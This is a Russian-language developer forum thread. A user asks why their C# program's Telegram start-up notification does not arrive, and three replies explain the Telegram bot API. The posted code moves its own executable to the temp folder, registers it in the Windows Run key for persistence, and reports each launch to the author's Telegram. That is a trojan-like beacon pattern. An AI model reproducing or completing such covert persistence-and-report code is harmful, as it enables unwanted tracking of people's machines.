Задать вопрос
@kerimol123

Как привязать телеграм бота к программе на C#?

У меня есть программа. Нужно, чтобы при ее запуске мне приходило оповещение в телеграм бот. Бота я написал на питоне и запустил на сервере. При запуске программы сообщения не приходят. Подскажите, пожалуйста, что я делаю неправильно. Заранее благодарю!

using System;
using System.Diagnostics;
using System.IO;
using System.Threading.Tasks;
using Microsoft.Win32;
using Telegram.Bot;

class Program
{

    static async Task SendTelegramMessage(string message)
    {
        string botToken = "token";
        long chatId = id;

        TelegramBotClient botClient = new TelegramBotClient(botToken);
        await botClient.SendTextMessageAsync(chatId, message);
    }

    static async Task Main()
    {
        string desktopPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
        string exePath = Process.GetCurrentProcess().MainModule.FileName;

        string tempPath = Path.Combine(Path.GetTempPath(), "myprogram.exe");
        File.Move(exePath, tempPath);

        await SendTelegramMessage("Кто-то запустил программу");

        AddToStartup(tempPath);

        Environment.Exit(0);
    }

    static void AddToStartup(string programPath)
    {
        using (RegistryKey key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true))
        {
            key.SetValue("MyProgram", programPath);
        }
    }
}
  • Вопрос задан
  • 290 просмотров
Подписаться 3 Простой 2 комментария
Пригласить эксперта
Ответы на вопрос 3
Vindicar
@Vindicar
RTFM!
Я подозреваю, что для работы бота требуется запустить его рабочий цикл. Без него методы бота работать не будут. Подробнее читай в доках на используемую тобой библиотеку (которую ты не потрудился указать).
А вообще, API телеги - это просто HTTP запросы, ты можешь попробовать сделать запрос вручную.
Например, послать POST запрос на адрес
https://api.telegram.org/botТОКЕН_ТВОЕГО_БОТА/sendMessage
с телом
chat_id=ID_получателя&text=текст_сообщения_в_url_кодировке
Ответ написан
Комментировать
BasiC2k
@BasiC2k
.NET developer (open to job offers)
Сложное у Вас решение.
Если попроще, то нужно:
1. Создать телеграм бота в BotFather, получить его id;
2. На своем ТГ отправить в бот любое сообщение;
3. Через get запрос просмотреть непрочитанные сообщения бота, увидеть свое сообщение, переписать id своего ТГ;
4. Составить get запрос для отправки сообщения от бота на свой ТГ. Вставить в программу код, который отправляет этот get запрос.

Все это протестировано и успешно работает в мониторинге, не требует запуска доп приложений, все через сервера телеграм.
Ответ написан
Комментировать
Adler_lug
@Adler_lug
Бот не может взаимодействовать с другим ботом.
Ответ написан
Комментировать
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы